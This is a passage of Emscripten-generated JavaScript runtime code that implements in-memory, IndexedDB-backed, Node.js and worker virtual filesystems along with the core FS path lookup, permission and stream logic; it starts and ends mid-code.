            var node = MEMFS.createNode(parent, newname, 511 | 40960, 0);
            node.link = oldpath;
            return node
        }
        ),
        readlink: (function(node) {
            if (!FS.isLink(node.mode)) {
                throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
            }
            return node.link
        }
        )
    },
    stream_ops: {
        read: (function(stream, buffer, offset, length, position) {
            var contents = stream.node.contents;
            if (position >= stream.node.usedBytes)
                return 0;
            var size = Math.min(stream.node.usedBytes - position, length);
            assert(size >= 0);
            if (size > 8 && contents.subarray) {
                buffer.set(contents.subarray(position, position + size), offset)
            } else {
                for (var i = 0; i < size; i++)
                    buffer[offset + i] = contents[position + i]
            }
            return size
        }
        ),
        write: (function(stream, buffer, offset, length, position, canOwn) {
            if (!length)
                return 0;
            var node = stream.node;
            node.timestamp = Date.now();
            if (buffer.subarray && (!node.contents || node.contents.subarray)) {
                if (canOwn) {
                    node.contents = buffer.subarray(offset, offset + length);
                    node.usedBytes = length;
                    return length
                } else if (node.usedBytes === 0 && position === 0) {
                    node.contents = new Uint8Array(buffer.subarray(offset, offset + length));
                    node.usedBytes = length;
                    return length
                } else if (position + length <= node.usedBytes) {
                    node.contents.set(buffer.subarray(offset, offset + length), position);
                    return length
                }
            }
            MEMFS.expandFileStorage(node, position + length);
            if (node.contents.subarray && buffer.subarray)
                node.contents.set(buffer.subarray(offset, offset + length), position);
            else {
                for (var i = 0; i < length; i++) {
                    node.contents[position + i] = buffer[offset + i]
                }
            }
            node.usedBytes = Math.max(node.usedBytes, position + length);
            return length
        }
        ),
        llseek: (function(stream, offset, whence) {
            var position = offset;
            if (whence === 1) {
                position += stream.position
            } else if (whence === 2) {
                if (FS.isFile(stream.node.mode)) {
                    position += stream.node.usedBytes
                }
            }
            if (position < 0) {
                throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
            }
            return position
        }
        ),
        allocate: (function(stream, offset, length) {
            MEMFS.expandFileStorage(stream.node, offset + length);
            stream.node.usedBytes = Math.max(stream.node.usedBytes, offset + length)
        }
        ),
        mmap: (function(stream, buffer, offset, length, position, prot, flags) {
            if (!FS.isFile(stream.node.mode)) {
                throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
            }
            var ptr;
            var allocated;
            var contents = stream.node.contents;
            if (!(flags & 2) && (contents.buffer === buffer || contents.buffer === buffer.buffer)) {
                allocated = false;
                ptr = contents.byteOffset
            } else {
                if (position > 0 || position + length < stream.node.usedBytes) {
                    if (contents.subarray) {
                        contents = contents.subarray(position, position + length)
                    } else {
                        contents = Array.prototype.slice.call(contents, position, position + length)
                    }
                }
                allocated = true;
                ptr = _malloc(length);
                if (!ptr) {
                    throw new FS.ErrnoError(ERRNO_CODES.ENOMEM)
                }
                buffer.set(contents, ptr)
            }
            return {
                ptr: ptr,
                allocated: allocated
            }
        }
        ),
        msync: (function(stream, buffer, offset, length, mmapFlags) {
            if (!FS.isFile(stream.node.mode)) {
                throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
            }
            if (mmapFlags & 2) {
                return 0
            }
            var bytesWritten = MEMFS.stream_ops.write(stream, buffer, 0, length, offset, false);
            return 0
        }
        )
    }
};
var IDBFS = {
    dbs: {},
    indexedDB: (function() {
        if (typeof indexedDB !== "undefined")
            return indexedDB;
        var ret = null;
        if (typeof window === "object")
            ret = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
        assert(ret, "IDBFS used, but indexedDB not supported");
        return ret
    }
    ),
    DB_VERSION: 21,
    DB_STORE_NAME: "FILE_DATA",
    mount: (function(mount) {
        return MEMFS.mount.apply(null, arguments)
    }
    ),
    syncfs: (function(mount, populate, callback) {
        IDBFS.getLocalSet(mount, (function(err, local) {
            if (err)
                return callback(err);
            IDBFS.getRemoteSet(mount, (function(err, remote) {
                if (err)
                    return callback(err);
                var src = populate ? remote : local;
                var dst = populate ? local : remote;
                IDBFS.reconcile(src, dst, callback)
            }
            ))
        }
        ))
    }
    ),
    getDB: (function(name, callback) {
        var db = IDBFS.dbs[name];
        if (db) {
            return callback(null, db)
        }
        var req;
        try {
            req = IDBFS.indexedDB().open(name, IDBFS.DB_VERSION)
        } catch (e) {
            return callback(e)
        }
        if (!req) {
            return callback("Unable to connect to IndexedDB")
        }
        req.onupgradeneeded = (function(e) {
            var db = e.target.result;
            var transaction = e.target.transaction;
            var fileStore;
            if (db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)) {
                fileStore = transaction.objectStore(IDBFS.DB_STORE_NAME)
            } else {
                fileStore = db.createObjectStore(IDBFS.DB_STORE_NAME)
            }
            if (!fileStore.indexNames.contains("timestamp")) {
                fileStore.createIndex("timestamp", "timestamp", {
                    unique: false
                })
            }
        }
        );
        req.onsuccess = (function() {
            db = req.result;
            IDBFS.dbs[name] = db;
            callback(null, db)
        }
        );
        req.onerror = (function(e) {
            callback(this.error);
            e.preventDefault()
        }
        )
    }
    ),
    getLocalSet: (function(mount, callback) {
        var entries = {};
        function isRealDir(p) {
            return p !== "." && p !== ".."
        }
        function toAbsolute(root) {
            return (function(p) {
                return PATH.join2(root, p)
            }
            )
        }
        var check = FS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint));
        while (check.length) {
            var path = check.pop();
            var stat;
            try {
                stat = FS.stat(path)
            } catch (e) {
                return callback(e)
            }
            if (FS.isDir(stat.mode)) {
                check.push.apply(check, FS.readdir(path).filter(isRealDir).map(toAbsolute(path)))
            }
            entries[path] = {
                timestamp: stat.mtime
            }
        }
        return callback(null, {
            type: "local",
            entries: entries
        })
    }
    ),
    getRemoteSet: (function(mount, callback) {
        var entries = {};
        IDBFS.getDB(mount.mountpoint, (function(err, db) {
            if (err)
                return callback(err);
            var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readonly");
            transaction.onerror = (function(e) {
                callback(this.error);
                e.preventDefault()
            }
            );
            var store = transaction.objectStore(IDBFS.DB_STORE_NAME);
            var index = store.index("timestamp");
            index.openKeyCursor().onsuccess = (function(event) {
                var cursor = event.target.result;
                if (!cursor) {
                    return callback(null, {
                        type: "remote",
                        db: db,
                        entries: entries
                    })
                }
                entries[cursor.primaryKey] = {
                    timestamp: cursor.key
                };
                cursor.continue()
            }
            )
        }
        ))
    }
    ),
    loadLocalEntry: (function(path, callback) {
        var stat, node;
        try {
            var lookup = FS.lookupPath(path);
            node = lookup.node;
            stat = FS.stat(path)
        } catch (e) {
            return callback(e)
        }
        if (FS.isDir(stat.mode)) {
            return callback(null, {
                timestamp: stat.mtime,
                mode: stat.mode
            })
        } else if (FS.isFile(stat.mode)) {
            node.contents = MEMFS.getFileDataAsTypedArray(node);
            return callback(null, {
                timestamp: stat.mtime,
                mode: stat.mode,
                contents: node.contents
            })
        } else {
            return callback(new Error("node type not supported"))
        }
    }
    ),
    storeLocalEntry: (function(path, entry, callback) {
        try {
            if (FS.isDir(entry.mode)) {
                FS.mkdir(path, entry.mode)
            } else if (FS.isFile(entry.mode)) {
                FS.writeFile(path, entry.contents, {
                    encoding: "binary",
                    canOwn: true
                })
            } else {
                return callback(new Error("node type not supported"))
            }
            FS.chmod(path, entry.mode);
            FS.utime(path, entry.timestamp, entry.timestamp)
        } catch (e) {
            return callback(e)
        }
        callback(null)
    }
    ),
    removeLocalEntry: (function(path, callback) {
        try {
            var lookup = FS.lookupPath(path);
            var stat = FS.stat(path);
            if (FS.isDir(stat.mode)) {
                FS.rmdir(path)
            } else if (FS.isFile(stat.mode)) {
                FS.unlink(path)
            }
        } catch (e) {
            return callback(e)
        }
        callback(null)
    }
    ),
    loadRemoteEntry: (function(store, path, callback) {
        var req = store.get(path);
        req.onsuccess = (function(event) {
            callback(null, event.target.result)
        }
        );
        req.onerror = (function(e) {
            callback(this.error);
            e.preventDefault()
        }
        )
    }
    ),
    storeRemoteEntry: (function(store, path, entry, callback) {
        var req = store.put(entry, path);
        req.onsuccess = (function() {
            callback(null)
        }
        );
        req.onerror = (function(e) {
            callback(this.error);
            e.preventDefault()
        }
        )
    }
    ),
    removeRemoteEntry: (function(store, path, callback) {
        var req = store.delete(path);
        req.onsuccess = (function() {
            callback(null)
        }
        );
        req.onerror = (function(e) {
            callback(this.error);
            e.preventDefault()
        }
        )
    }
    ),
    reconcile: (function(src, dst, callback) {
        var total = 0;
        var create = [];
        Object.keys(src.entries).forEach((function(key) {
            var e = src.entries[key];
            var e2 = dst.entries[key];
            if (!e2 || e.timestamp > e2.timestamp) {
                create.push(key);
                total++
            }
        }
        ));
        var remove = [];
        Object.keys(dst.entries).forEach((function(key) {
            var e = dst.entries[key];
            var e2 = src.entries[key];
            if (!e2) {
                remove.push(key);
                total++
            }
        }
        ));
        if (!total) {
            return callback(null)
        }
        var completed = 0;
        var db = src.type === "remote" ? src.db : dst.db;
        var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readwrite");
        var store = transaction.objectStore(IDBFS.DB_STORE_NAME);
        function done(err) {
            if (err) {
                if (!done.errored) {
                    done.errored = true;
                    return callback(err)
                }
                return
            }
            if (++completed >= total) {
                return callback(null)
            }
        }
        transaction.onerror = (function(e) {
            done(this.error);
            e.preventDefault()
        }
        );
        create.sort().forEach((function(path) {
            if (dst.type === "local") {
                IDBFS.loadRemoteEntry(store, path, (function(err, entry) {
                    if (err)
                        return done(err);
                    IDBFS.storeLocalEntry(path, entry, done)
                }
                ))
            } else {
                IDBFS.loadLocalEntry(path, (function(err, entry) {
                    if (err)
                        return done(err);
                    IDBFS.storeRemoteEntry(store, path, entry, done)
                }
                ))
            }
        }
        ));
        remove.sort().reverse().forEach((function(path) {
            if (dst.type === "local") {
                IDBFS.removeLocalEntry(path, done)
            } else {
                IDBFS.removeRemoteEntry(store, path, done)
            }
        }
        ))
    }
    )
};
var NODEFS = {
    isWindows: false,
    staticInit: (function() {
        NODEFS.isWindows = !!process.platform.match(/^win/)
    }
    ),
    mount: (function(mount) {
        assert(ENVIRONMENT_IS_NODE);
        return NODEFS.createNode(null, "/", NODEFS.getMode(mount.opts.root), 0)
    }
    ),
    createNode: (function(parent, name, mode, dev) {
        if (!FS.isDir(mode) && !FS.isFile(mode) && !FS.isLink(mode)) {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
        var node = FS.createNode(parent, name, mode);
        node.node_ops = NODEFS.node_ops;
        node.stream_ops = NODEFS.stream_ops;
        return node
    }
    ),
    getMode: (function(path) {
        var stat;
        try {
            stat = fs.lstatSync(path);
            if (NODEFS.isWindows) {
                stat.mode = stat.mode | (stat.mode & 146) >> 1
            }
        } catch (e) {
            if (!e.code)
                throw e;
            throw new FS.ErrnoError(ERRNO_CODES[e.code])
        }
        return stat.mode
    }
    ),
    realPath: (function(node) {
        var parts = [];
        while (node.parent !== node) {
            parts.push(node.name);
            node = node.parent
        }
        parts.push(node.mount.opts.root);
        parts.reverse();
        return PATH.join.apply(null, parts)
    }
    ),
    flagsToPermissionStringMap: {
        0: "r",
        1: "r+",
        2: "r+",
        64: "r",
        65: "r+",
        66: "r+",
        129: "rx+",
        193: "rx+",
        514: "w+",
        577: "w",
        578: "w+",
        705: "wx",
        706: "wx+",
        1024: "a",
        1025: "a",
        1026: "a+",
        1089: "a",
        1090: "a+",
        1153: "ax",
        1154: "ax+",
        1217: "ax",
        1218: "ax+",
        4096: "rs",
        4098: "rs+"
    },
    flagsToPermissionString: (function(flags) {
        flags &= ~2097152;
        flags &= ~2048;
        flags &= ~32768;
        flags &= ~524288;
        if (flags in NODEFS.flagsToPermissionStringMap) {
            return NODEFS.flagsToPermissionStringMap[flags]
        } else {
            throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
        }
    }
    ),
    node_ops: {
        getattr: (function(node) {
            var path = NODEFS.realPath(node);
            var stat;
            try {
                stat = fs.lstatSync(path)
            } catch (e) {
                if (!e.code)
                    throw e;
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
            if (NODEFS.isWindows && !stat.blksize) {
                stat.blksize = 4096
            }
            if (NODEFS.isWindows && !stat.blocks) {
                stat.blocks = (stat.size + stat.blksize - 1) / stat.blksize | 0
            }
            return {
                dev: stat.dev,
                ino: stat.ino,
                mode: stat.mode,
                nlink: stat.nlink,
                uid: stat.uid,
                gid: stat.gid,
                rdev: stat.rdev,
                size: stat.size,
                atime: stat.atime,
                mtime: stat.mtime,
                ctime: stat.ctime,
                blksize: stat.blksize,
                blocks: stat.blocks
            }
        }
        ),
        setattr: (function(node, attr) {
            var path = NODEFS.realPath(node);
            try {
                if (attr.mode !== undefined) {
                    fs.chmodSync(path, attr.mode);
                    node.mode = attr.mode
                }
                if (attr.timestamp !== undefined) {
                    var date = new Date(attr.timestamp);
                    fs.utimesSync(path, date, date)
                }
                if (attr.size !== undefined) {
                    fs.truncateSync(path, attr.size)
                }
            } catch (e) {
                if (!e.code)
                    throw e;
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
        }
        ),
        lookup: (function(parent, name) {
            var path = PATH.join2(NODEFS.realPath(parent), name);
            var mode = NODEFS.getMode(path);
            return NODEFS.createNode(parent, name, mode)
        }
        ),
        mknod: (function(parent, name, mode, dev) {
            var node = NODEFS.createNode(parent, name, mode, dev);
            var path = NODEFS.realPath(node);
            try {
                if (FS.isDir(node.mode)) {
                    fs.mkdirSync(path, node.mode)
                } else {
                    fs.writeFileSync(path, "", {
                        mode: node.mode
                    })
                }
            } catch (e) {
                if (!e.code)
                    throw e;
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
            return node
        }
        ),
        rename: (function(oldNode, newDir, newName) {
            var oldPath = NODEFS.realPath(oldNode);
            var newPath = PATH.join2(NODEFS.realPath(newDir), newName);
            try {
                fs.renameSync(oldPath, newPath)
            } catch (e) {
                if (!e.code)
                    throw e;
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
        }
        ),
        unlink: (function(parent, name) {
            var path = PATH.join2(NODEFS.realPath(parent), name);
            try {
                fs.unlinkSync(path)
            } catch (e) {
                if (!e.code)
                    throw e;
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
        }
        ),
        rmdir: (function(parent, name) {
            var path = PATH.join2(NODEFS.realPath(parent), name);
            try {
                fs.rmdirSync(path)
            } catch (e) {
                if (!e.code)
                    throw e;
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
        }
        ),
        readdir: (function(node) {
            var path = NODEFS.realPath(node);
            try {
                return fs.readdirSync(path)
            } catch (e) {
                if (!e.code)
                    throw e;
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
        }
        ),
        symlink: (function(parent, newName, oldPath) {
            var newPath = PATH.join2(NODEFS.realPath(parent), newName);
            try {
                fs.symlinkSync(oldPath, newPath)
            } catch (e) {
                if (!e.code)
                    throw e;
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
        }
        ),
        readlink: (function(node) {
            var path = NODEFS.realPath(node);
            try {
                path = fs.readlinkSync(path);
                path = NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root), path);
                return path
            } catch (e) {
                if (!e.code)
                    throw e;
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
        }
        )
    },
    stream_ops: {
        open: (function(stream) {
            var path = NODEFS.realPath(stream.node);
            try {
                if (FS.isFile(stream.node.mode)) {
                    stream.nfd = fs.openSync(path, NODEFS.flagsToPermissionString(stream.flags))
                }
            } catch (e) {
                if (!e.code)
                    throw e;
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
        }
        ),
        close: (function(stream) {
            try {
                if (FS.isFile(stream.node.mode) && stream.nfd) {
                    fs.closeSync(stream.nfd)
                }
            } catch (e) {
                if (!e.code)
                    throw e;
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
        }
        ),
        read: (function(stream, buffer, offset, length, position) {
            if (length === 0)
                return 0;
            var nbuffer = new Buffer(length);
            var res;
            try {
                res = fs.readSync(stream.nfd, nbuffer, 0, length, position)
            } catch (e) {
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
            if (res > 0) {
                for (var i = 0; i < res; i++) {
                    buffer[offset + i] = nbuffer[i]
                }
            }
            return res
        }
        ),
        write: (function(stream, buffer, offset, length, position) {
            var nbuffer = new Buffer(buffer.subarray(offset, offset + length));
            var res;
            try {
                res = fs.writeSync(stream.nfd, nbuffer, 0, length, position)
            } catch (e) {
                throw new FS.ErrnoError(ERRNO_CODES[e.code])
            }
            return res
        }
        ),
        llseek: (function(stream, offset, whence) {
            var position = offset;
            if (whence === 1) {
                position += stream.position
            } else if (whence === 2) {
                if (FS.isFile(stream.node.mode)) {
                    try {
                        var stat = fs.fstatSync(stream.nfd);
                        position += stat.size
                    } catch (e) {
                        throw new FS.ErrnoError(ERRNO_CODES[e.code])
                    }
                }
            }
            if (position < 0) {
                throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
            }
            return position
        }
        )
    }
};
var WORKERFS = {
    DIR_MODE: 16895,
    FILE_MODE: 33279,
    reader: null,
    mount: (function(mount) {
        assert(ENVIRONMENT_IS_WORKER);
        if (!WORKERFS.reader)
            WORKERFS.reader = new FileReaderSync;
        var root = WORKERFS.createNode(null, "/", WORKERFS.DIR_MODE, 0);
        var createdParents = {};
        function ensureParent(path) {
            var parts = path.split("/");
            var parent = root;
            for (var i = 0; i < parts.length - 1; i++) {
                var curr = parts.slice(0, i + 1).join("/");
                if (!createdParents[curr]) {
                    createdParents[curr] = WORKERFS.createNode(parent, parts[i], WORKERFS.DIR_MODE, 0)
                }
                parent = createdParents[curr]
            }
            return parent
        }
        function base(path) {
            var parts = path.split("/");
            return parts[parts.length - 1]
        }
        Array.prototype.forEach.call(mount.opts["files"] || [], (function(file) {
            WORKERFS.createNode(ensureParent(file.name), base(file.name), WORKERFS.FILE_MODE, 0, file, file.lastModifiedDate)
        }
        ));
        (mount.opts["blobs"] || []).forEach((function(obj) {
            WORKERFS.createNode(ensureParent(obj["name"]), base(obj["name"]), WORKERFS.FILE_MODE, 0, obj["data"])
        }
        ));
        (mount.opts["packages"] || []).forEach((function(pack) {
            pack["metadata"].files.forEach((function(file) {
                var name = file.filename.substr(1);
                WORKERFS.createNode(ensureParent(name), base(name), WORKERFS.FILE_MODE, 0, pack["blob"].slice(file.start, file.end))
            }
            ))
        }
        ));
        return root
    }
    ),
    createNode: (function(parent, name, mode, dev, contents, mtime) {
        var node = FS.createNode(parent, name, mode);
        node.mode = mode;
        node.node_ops = WORKERFS.node_ops;
        node.stream_ops = WORKERFS.stream_ops;
        node.timestamp = (mtime || new Date).getTime();
        assert(WORKERFS.FILE_MODE !== WORKERFS.DIR_MODE);
        if (mode === WORKERFS.FILE_MODE) {
            node.size = contents.size;
            node.contents = contents
        } else {
            node.size = 4096;
            node.contents = {}
        }
        if (parent) {
            parent.contents[name] = node
        }
        return node
    }
    ),
    node_ops: {
        getattr: (function(node) {
            return {
                dev: 1,
                ino: undefined,
                mode: node.mode,
                nlink: 1,
                uid: 0,
                gid: 0,
                rdev: undefined,
                size: node.size,
                atime: new Date(node.timestamp),
                mtime: new Date(node.timestamp),
                ctime: new Date(node.timestamp),
                blksize: 4096,
                blocks: Math.ceil(node.size / 4096)
            }
        }
        ),
        setattr: (function(node, attr) {
            if (attr.mode !== undefined) {
                node.mode = attr.mode
            }
            if (attr.timestamp !== undefined) {
                node.timestamp = attr.timestamp
            }
        }
        ),
        lookup: (function(parent, name) {
            throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
        }
        ),
        mknod: (function(parent, name, mode, dev) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        ),
        rename: (function(oldNode, newDir, newName) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        ),
        unlink: (function(parent, name) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        ),
        rmdir: (function(parent, name) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        ),
        readdir: (function(node) {
            var entries = [".", ".."];
            for (var key in node.contents) {
                if (!node.contents.hasOwnProperty(key)) {
                    continue
                }
                entries.push(key)
            }
            return entries
        }
        ),
        symlink: (function(parent, newName, oldPath) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        ),
        readlink: (function(node) {
            throw new FS.ErrnoError(ERRNO_CODES.EPERM)
        }
        )
    },
    stream_ops: {
        read: (function(stream, buffer, offset, length, position) {
            if (position >= stream.node.size)
                return 0;
            var chunk = stream.node.contents.slice(position, position + length);
            var ab = WORKERFS.reader.readAsArrayBuffer(chunk);
            buffer.set(new Uint8Array(ab), offset);
            return chunk.size
        }
        ),
        write: (function(stream, buffer, offset, length, position) {
            throw new FS.ErrnoError(ERRNO_CODES.EIO)
        }
        ),
        llseek: (function(stream, offset, whence) {
            var position = offset;
            if (whence === 1) {
                position += stream.position
            } else if (whence === 2) {
                if (FS.isFile(stream.node.mode)) {
                    position += stream.node.size
                }
            }
            if (position < 0) {
                throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
            }
            return position
        }
        )
    }
};
STATICTOP += 16;
STATICTOP += 16;
STATICTOP += 16;
var FS = {
    root: null,
    mounts: [],
    devices: [null],
    streams: [],
    nextInode: 1,
    nameTable: null,
    currentPath: "/",
    initialized: false,
    ignorePermissions: true,
    trackingDelegate: {},
    tracking: {
        openFlags: {
            READ: 1,
            WRITE: 2
        }
    },
    ErrnoError: null,
    genericErrors: {},
    filesystems: null,
    syncFSRequests: 0,
    handleFSError: (function(e) {
        if (!(e instanceof FS.ErrnoError))
            throw e + " : " + stackTrace();
        return ___setErrNo(e.errno)
    }
    ),
    lookupPath: (function(path, opts) {
        path = PATH.resolve(FS.cwd(), path);
        opts = opts || {};
        if (!path)
            return {
                path: "",
                node: null
            };
        var defaults = {
            follow_mount: true,
            recurse_count: 0
        };
        for (var key in defaults) {
            if (opts[key] === undefined) {
                opts[key] = defaults[key]
            }
        }
        if (opts.recurse_count > 8) {
            throw new FS.ErrnoError(ERRNO_CODES.ELOOP)
        }
        var parts = PATH.normalizeArray(path.split("/").filter((function(p) {
            return !!p
        }
        )), false);
        var current = FS.root;
        var current_path = "/";
        for (var i = 0; i < parts.length; i++) {
            var islast = i === parts.length - 1;
            if (islast && opts.parent) {
                break
            }
            current = FS.lookupNode(current, parts[i]);
            current_path = PATH.join2(current_path, parts[i]);
            if (FS.isMountpoint(current)) {
                if (!islast || islast && opts.follow_mount) {
                    current = current.mounted.root
                }
            }
            if (!islast || opts.follow) {
                var count = 0;
                while (FS.isLink(current.mode)) {
                    var link = FS.readlink(current_path);
                    current_path = PATH.resolve(PATH.dirname(current_path), link);
                    var lookup = FS.lookupPath(current_path, {
                        recurse_count: opts.recurse_count
                    });
                    current = lookup.node;
                    if (count++ > 40) {
                        throw new FS.ErrnoError(ERRNO_CODES.ELOOP)
                    }
                }
            }
        }
        return {
            path: current_path,
            node: current
        }
    }
    ),
    getPath: (function(node) {
        var path;
        while (true) {
            if (FS.isRoot(node)) {
                var mount = node.mount.mountpoint;
                if (!path)
                    return mount;
                return mount[mount.length - 1] !== "/" ? mount + "/" + path : mount + path
            }
            path = path ? node.name + "/" + path : node.name;
            node = node.parent
        }
    }
    ),
    hashName: (function(parentid, name) {
        var hash = 0;
        for (var i = 0; i < name.length; i++) {
            hash = (hash << 5) - hash + name.charCodeAt(i) | 0
        }
        return (parentid + hash >>> 0) % FS.nameTable.length
    }
    ),
    hashAddNode: (function(node) {
        var hash = FS.hashName(node.parent.id, node.name);
        node.name_next = FS.nameTable[hash];
        FS.nameTable[hash] = node
    }
    ),
    hashRemoveNode: (function(node) {
        var hash = FS.hashName(node.parent.id, node.name);
        if (FS.nameTable[hash] === node) {
            FS.nameTable[hash] = node.name_next
        } else {
            var current = FS.nameTable[hash];
            while (current) {
                if (current.name_next === node) {
                    current.name_next = node.name_next;
                    break
                }
                current = current.name_next
            }
        }
    }
    ),
    lookupNode: (function(parent, name) {
        var err = FS.mayLookup(parent);
        if (err) {
            throw new FS.ErrnoError(err,parent)
        }
        var hash = FS.hashName(parent.id, name);
        for (var node = FS.nameTable[hash]; node; node = node.name_next) {
            var nodeName = node.name;
            if (node.parent.id === parent.id && nodeName === name) {
                return node
            }
        }
        return FS.lookup(parent, name)
    }
    ),
    createNode: (function(parent, name, mode, rdev) {
        if (!FS.FSNode) {
            FS.FSNode = (function(parent, name, mode, rdev) {
                if (!parent) {
                    parent = this
                }
                this.parent = parent;
                this.mount = parent.mount;
                this.mounted = null;
                this.id = FS.nextInode++;
                this.name = name;
                this.mode = mode;
                this.node_ops = {};
                this.stream_ops = {};
                this.rdev = rdev
            }
            );
            FS.FSNode.prototype = {};
            var readMode = 292 | 73;
            var writeMode = 146;
            Object.defineProperties(FS.FSNode.prototype, {
                read: {
                    get: (function() {
                        return (this.mode & readMode) === readMode
                    }
                    ),
                    set: (function(val) {
                        val ? this.mode |= readMode : this.mode &= ~readMode
                    }
                    )
                },
                write: {
                    get: (function() {
                        return (this.mode & writeMode) === writeMode
                    }
                    ),
                    set: (function(val) {
                        val ? this.mode |= writeMode : this.mode &= ~writeMode
                    }
                    )
                },
                isFolder: {
                    get: (function() {
                        return FS.isDir(this.mode)
                    }
                    )
                },
                isDevice: {
                    get: (function() {
                        return FS.isChrdev(this.mode)
                    }
                    )
                }
            })
        }
        var node = new FS.FSNode(parent,name,mode,rdev);
        FS.hashAddNode(node);
        return node
    }
    ),
    destroyNode: (function(node) {
        FS.hashRemoveNode(node)
    }
    ),
    isRoot: (function(node) {
        return node === node.parent
    }
    ),
    isMountpoint: (function(node) {
        return !!node.mounted
    }
    ),
    isFile: (function(mode) {
        return (mode & 61440) === 32768
    }
    ),
    isDir: (function(mode) {
        return (mode & 61440) === 16384
    }
    ),
    isLink: (function(mode) {
        return (mode & 61440) === 40960
    }
    ),
    isChrdev: (function(mode) {
        return (mode & 61440) === 8192
    }
    ),
    isBlkdev: (function(mode) {
        return (mode & 61440) === 24576
    }
    ),
    isFIFO: (function(mode) {
        return (mode & 61440) === 4096
    }
    ),
    isSocket: (function(mode) {
        return (mode & 49152) === 49152
    }
    ),
    flagModes: {
        "r": 0,
        "rs": 1052672,
        "r+": 2,
        "w": 577,
        "wx": 705,
        "xw": 705,
        "w+": 578,
        "wx+": 706,
        "xw+": 706,
        "a": 1089,
        "ax": 1217,
        "xa": 1217,
        "a+": 1090,
        "ax+": 1218,
        "xa+": 1218
    },
    modeStringToFlags: (function(str) {
        var flags = FS.flagModes[str];
        if (typeof flags === "undefined") {
            throw new Error("Unknown file open mode: " + str)
        }
        return flags
    }
    ),
    flagsToPermissionString: (function(flag) {
        var perms = ["r", "w", "rw"][flag & 3];
        if (flag & 512) {
            perms += "w"
        }
        return perms
    }
    ),
    nodePermissions: (function(node, perms) {
        if (FS.ignorePermissions) {
            return 0
        }
        if (perms.indexOf("r") !== -1 && !(node.mode & 292)) {
            return ERRNO_CODES.EACCES
        } else if (perms.indexOf("w") !== -1 && !(node.mode & 146)) {
            return ERRNO_CODES.EACCES
        } else if (perms.indexOf("x") !== -1 && !(node.mode & 73)) {
            return ERRNO_CODES.EACCES
        }
        return 0
    }
    ),
    mayLookup: (function(dir) {
        var err = FS.nodePermissions(dir, "x");
        if (err)
            return err;
        if (!dir.node_ops.lookup)
            return ERRNO_CODES.EACCES;
        return 0
    }
    ),
    mayCreate: (function(dir, name) {
        try {
            var node = FS.lookupNode(dir, name);
            return ERRNO_CODES.EEXIST
        } catch (e) {}
        return FS.nodePermissions(dir, "wx")
    }
    ),
    mayDelete: (function(dir, name, isdir) {
        var node;
        try {
            node = FS.lookupNode(dir, name)
        } catch (e) {
            return e.errno
        }
        var err = FS.nodePermissions(dir, "wx");
        if (err) {
            return err
        }
        if (isdir) {
            if (!FS.isDir(node.mode)) {
                return ERRNO_CODES.ENOTDIR
            }
            if (FS.isRoot(node) || FS.getPath(node) === FS.cwd()) {
                return ERRNO_CODES.EBUSY
            }
        } else {
            if (FS.isDir(node.mode)) {
                return ERRNO_CODES.EISDIR
            }
        }
        return 0
    }
    ),
    mayOpen: (function(node, flags) {
        if (!node) {
            return ERRNO_CODES.ENOENT
        }
        if (FS.isLink(node.mode)) {
            return ERRNO_CODES.ELOOP
        } else if (FS.isDir(node.mode)) {
            if (FS.flagsToPermissionString(flags) !== "r" || flags & 512) {
                return ERRNO_CODES.EISDIR
            }
        }
        return FS.nodePermissions(node, FS.flagsToPermissionString(flags))
    }
    ),
    MAX_OPEN_FDS: 4096,
    nextfd: (function(fd_start, fd_end) {
        fd_start = fd_start || 0;
        fd_end = fd_end || FS.MAX_OPEN_FDS;
        for (var fd = fd_start; fd <= fd_end; fd++) {
            if (!FS.streams[fd]) {
                return fd
            }
        }
        throw new FS.ErrnoError(ERRNO_CODES.EMFILE)
    }
    ),
    getStream: (function(fd) {
        return FS.streams[fd]
    }
    ),
    createStream: (function(stream, fd_start, fd_end) {
        if (!FS.FSStream) {
            FS.FSStream = (function() {}
            );
            FS.FSStream.prototype = {};
            Object.defineProperties(FS.FSStream.prototype, {
                object: {
                    get: (function() {
                        return this.node
                    }
                    ),
                    set: (function(val) {
                        this.node = val
                    }
                    )
                },
                isRead: {
                    get: (function() {
                        return (this.flags & 2097155) !== 1
                    }
                    )
                },
                isWrite: {
                    get: (function() {
                        return (this.flags & 2097155) !== 0
                    }
                    )
                },
                isAppend: {
                    get: (function() {
                        return this.flags & 1024
                    }
                    )
                }
            })
        }
        var newStream = new FS.FSStream;
        for (var p in stream) {
            newStream[p] = stream[p]
        }
        stream = newStream;
        var fd = FS.nextfd(fd_start, fd_end);
        stream.fd = fd;
        FS.streams[fd] = stream;
        return stream
    }
    ),
    closeStream: (function(fd) {
        FS.streams[fd] = null
    }
    ),
    chrdev_stream_ops: {
        open: (function(stream) {
